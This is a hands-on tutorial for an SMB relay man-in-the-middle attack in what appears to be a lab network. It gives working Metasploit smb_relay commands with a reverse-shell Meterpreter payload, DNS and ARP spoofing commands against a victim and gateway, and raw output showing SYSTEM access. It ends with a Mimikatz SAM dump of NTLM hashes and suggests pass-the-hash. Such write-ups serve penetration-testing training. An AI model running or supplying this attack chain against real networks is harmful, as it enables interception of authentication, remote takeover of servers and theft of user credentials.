SMB Relay Attack - Man in the Middle
An SMB relay attack is a technique that exploits the way Windows systems authenticate over the network. Instead of cracking hashes or passwords, we intercept the authentication process itself and relay those credentials to another system. This guide walks you through a practical MITM (Man in the Middle) attack using DNS spoofing and ARP spoofing to catch NTLM authentication traffic and relay it to a target SMB share.
Network Setup
Before we start, here's the network layout for this attack:
- Victim IP: 172.16.5.5
- Your IP (Attacker): 172.16.5.101
- Target Machine IP: 172.16.5.10
These are the machines we'll be working with. You'll need to adjust these IP addresses based on your actual lab setup.
Network Diagram
Here's a simple visual representation of how the MITM attack works:
+---------------+ +---------------+ +---------------+
| CLIENT | | ATTACKER | | TARGET |
| 172.16.5.5 | | 172.16.5.101 | | 172.16.5.10 |
| (Victim PC) | | (Your Machine)| | (File Server) |
+-------+-------+ +-------+-------+ +-------+-------+
| | |
Wants to access file share | |
| | |
| | |
+----------DNS Query---------> | (Spoofed to 172.16.5.101) |
| [DNS SPOOF] |
| | |
+----------ARP traffic------> | (Thinks gateway) |
| [ARP SPOOF] |
| | |
+--------SMB Auth----------> | ------SMB Auth----------> |
| | [RELAY & INTERCEPT] |
| | |
| | <-----Response----------- |
| | |
| <------Fake Response------- | |
| [ATTACKER CONTROLS ALL TRAFFIC] |
Machine Roles:
- CLIENT (172.16.5.5): Victim tries to access fileserver.0-x.dev but gets redirected to attacker
- ATTACKER (172.16.5.101): In the middle - spoofs DNS, spoofs ARP, relays authentication to target
- TARGET (172.16.5.10): Real file server, receives authentication relay and grants access
The attack works by placing the attacker machine in the middle of the communication path using ARP spoofing, and then redirecting the victim's authentication attempts to the target system via DNS spoofing.
Step 1: Set Up the SMB Relay Listener in Metasploit
The first thing we need to do is set up a listener that will catch the relayed SMB authentication attempts. We'll use Metasploit for this.
Start Metasploit and load the SMB relay exploit module:
msf6 > use exploit/windows/smb/smb_relay
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/smb_relay) > set SRVHOST 172.16.5.101
SRVHOST => 172.16.5.101
msf6 exploit(windows/smb/smb_relay) > set LHOST 172.16.5.101
LHOST => 172.16.5.101
msf6 exploit(windows/smb/smb_relay) > set SMBHOST 172.16.5.10
SMBHOST => 172.16.5.10
msf6 exploit(windows/smb/smb_relay) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.5.101:4444
[*] Started service listener on 172.16.5.101:445
[*] Server started.
Here's what we're configuring:
- SRVHOST: This is where our malicious SMB server will listen (your attacker machine)
- LHOST: Where the reverse shell callback will connect back to
- SMBHOST: The real target machine we want to relay credentials to (the file server)
Once started, Metasploit is now listening on port 445 (SMB) and will act as a man-in-the-middle for SMB connections.
Step 2: Create a DNS Spoofing Configuration File
Next, we need to prepare DNS spoofing so that when the victim tries to connect to a file share, their DNS requests get redirected to our attacker machine. Create a file that maps a domain name to your attacker IP:
echo "<your-ip> <target-domain>" > dns
echo "172.16.5.101 *.0-x.dev" > dns
This file tells the DNS spoofer that any requests for *.0-x.dev should be redirected to our IP address (172.16.5.101). When the victim tries to access something like fileserver.0-x.dev, they'll connect to us instead of the real server.
Step 3: Start DNS Spoofing
Now we'll start the DNS spoofing tool. This will intercept DNS queries from the victim and respond with our attacker IP:
dnsspoof -i eth1 -f dns
┌──(root@kali)-[~/Desktop]
└─# dnsspoof -i eth1 -f dns 130 ⨯
dnsspoof: listening on eth1 [udp dst port 53 and not src 172.16.5.101]
The -i eth1 flag specifies the network interface to listen on (make sure this matches your setup). The -f dns tells it to use our DNS configuration file. Now any DNS requests matching our file will be redirected to us.
Step 4: Enable IP Forwarding
By default, Linux systems don't forward packets between network interfaces. To act as a router and forward traffic properly, we need to enable IP forwarding:
# This is only temporary and will be reseted to (false) 0 on system restart
echo 1 > /proc/sys/net/ipv4/ip_forward
This allows our machine to pass network traffic through to other systems, which is essential for the MITM attack to work. Think of this as turning your attacker machine into a router.
Step 5: ARP Spoof the Victim
Now comes the crucial part - we need to convince the victim that our attacker machine is the default gateway. We'll use ARP spoofing to do this. In one terminal, run:
┌──(root@kali)-[~/Desktop]
└─# arpspoof -i eth1 -t 172.16.5.5 172.16.5.1 130 ⨯
8:0:27:d4:ee:5d 8:0:27:8f:79:cc 0806 42: arp reply 172.16.5.1 is-at 8:0:27:d4:ee:5d
8:0:27:d4:ee:5d 8:0:27:8f:79:cc 0806 42: arp reply 172.16.5.1 is-at 8:0:27:d4:ee:5d
8:0:27:d4:ee:5d 8:0:27:8f:79:cc 0806 42: arp reply 172.16.5.1 is-at 8:0:27:d4:ee:5d
This tells the victim (172.16.5.5) that the gateway (172.16.5.1) is actually at our MAC address. So when the victim sends packets to the gateway, they'll come to us instead.
Step 6: ARP Spoof the Gateway
In another terminal, we also need to spoof the gateway so it thinks the victim is at our MAC address. This completes the MITM setup:
┌──(root@kali)-[~/Deskt]
└─# arpspoof -i eth1 -t 172.16.5.1 172.16.5.5
8:0:27:d4:ee:5d a:0:27:0:0:3 0806 42: arp reply 172.16.5.5 is-at 8:0:27:d4:ee:5d
8:0:27:d4:ee:5d a:0:27:0:0:3 0806 42: arp reply 172.16.5.5 is-at 8:0:27:d4:ee:5d
8:0:27:d4:ee:5d a:0:27:0:0:3 0806 42: arp reply 172.16.5.5 is-at 8:0:27:d4:ee:5d
Now both the victim and gateway think traffic should go through us. We're in the middle!
Step 7: Wait for Authentication
Now that everything is set up, take a coffee break and wait for the victim to try accessing a file share on the network. When they do, they'll connect to what they think is fileserver.0-x.dev, but due to our DNS spoofing, they'll connect to our malicious SMB server.
You should see DNS queries appearing in your dnsspoof terminal like this:
┌──(root@kali)-[~/Desktop]
└─# dnsspoof -i eth1 -f dns 130 ⨯
dnsspoof: listening on eth1 [udp dst port 53 and not src 172.16.5.101]
172.16.5.5.49341 > 8.8.4.4.53: 46564+ A? fileserver.0-x.dev
172.16.5.5.64492 > 8.8.4.4.53: 7270+ A? fileserver.0-x.dev
These are the victim's DNS requests being intercepted and logged.
Step 8: Check Metasploit for Successful Relay
Now check your Metasploit console. If everything worked correctly, you should see the NTLM authentication being relayed and a session being opened:
msf6 exploit(windows/smb/smb_relay) > [*] Sending NTLMSSP NEGOTIATE to 172.16.5.10
[*] Extracting NTLMSSP CHALLENGE from 172.16.5.10
[*] Forwarding the NTLMSSP CHALLENGE to 172.16.5.5:49158
[*] Extracting the NTLMSSP AUTH resolution from 172.16.5.5:49158, and sending Logon Failure response
[*] Forwarding the NTLMSSP AUTH resolution to 172.16.5.10
[+] SMB auth relay against 172.16.5.10 succeeded
[*] Connecting to the defined share...
[*] Regenerating the payload...
[*] Uploading payload...
[*] Created \TxeiFUnw.exe...
[*] Connecting to the Service Control Manager...
[*] Obtaining a service manager handle...
[*] Creating a new service...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \TxeiFUnw.exe...
[*] Sending stage (175174 bytes) to 172.16.5.10
[*] Meterpreter session 1 opened (172.16.5.101:4444 -> 172.16.5.10:49158) at 2022-01-21 19:37:25 -0500
[*] Sending NTLMSSP NEGOTIATE to 172.16.5.10
[*] Extracting NTLMSSP CHALLENGE from 172.16.5.10
[*] Forwarding the NTLMSSP CHALLENGE to 172.16.5.5:49160
[*] Extracting the NTLMSSP AUTH resolution from 172.16.5.5:49160, and sending Logon Failure response
[*] Forwarding the NTLMSSP AUTH resolution to 172.16.5.10
[+] SMB auth relay against 172.16.5.10 succeeded
[*] Ignoring request from 172.16.5.10, attack already in progress.
[*] Sending NTLMSSP NEGOTIATE to 172.16.5.10
[*] Extracting NTLMSSP CHALLENGE from 172.16.5.10
[*] Forwarding the NTLMSSP CHALLENGE to 172.16.5.5:49162
[*] Extracting the NTLMSSP AUTH resolution from 172.16.5.5:49162, and sending Logon Failure response
[*] Forwarding the NTLMSSP AUTH resolution to 172.16.5.10
[+] SMB auth relay against 172.16.5.10 succeeded
[*] Ignoring request from 172.16.5.10, attack already in progress.
msf6 exploit(windows/smb/smb_relay) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ FILESERVER 172.16.5.101:4444 -> 172.16.5.10:49158 (172.16.5.10)
msf6 exploit(windows/smb/smb_relay) > sessions 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Excellent! We now have a Meterpreter session as SYSTEM on the target machine. This is the highest privilege level on Windows, meaning we have complete control.
Step 9: Extract Credentials with Mimikatz
Now that we have access as SYSTEM, we can dump all the password hashes from various accounts on the target machine. Load the Kiwi extension (which includes Mimikatz functionality) and extract credentials:
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x86/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > lsa_dump_sam
[+] Running as SYSTEM
[*] Dumping SAM
Domain : FILESERVER
SysKey : d23634f7ecdc029e0570561ec6d4e94c
Local SID : S-1-5-21-1716914095-909560446-1177810406
SAMKey : f7feb0556a55154319ab97eadb35c11c
RID : 000001f4 (500)
User : Administrator
Hash NTLM: fc525c9683e8fe067095ba2ddc971889
RID : 000001f5 (501)
User : Guest
RID : 000003e9 (1001)
User : sshd
RID : 000003ec (1004)
User : bob
Hash NTLM: bf4c3092a586df1a9137a4f5737bdc94
RID : 000003ed (1005)
User : admin
Hash NTLM: 179699ef43d4b9ba2f8f615f59893917
We've now dumped all the NTLM hashes from the target machine's Security Accounts Manager (SAM) database. You can use these hashes for further attacks like pass-the-hash or try to crack them offline.
Summary
The SMB relay attack is powerful because it doesn't require you to crack passwords - instead, you intercept the authentication itself. Here's what we did:
- Set up a malicious SMB server in Metasploit
- Used DNS spoofing to redirect victims to our server
- Used ARP spoofing to insert ourselves into the network traffic
- Relayed the victim's authentication to the target SMB share
- Gained SYSTEM-level access to the target
- Extracted all user credentials from the target machine
This is why organizations should always use SMB signing and enable protections against these relay attacks. Stay ethical in your testing!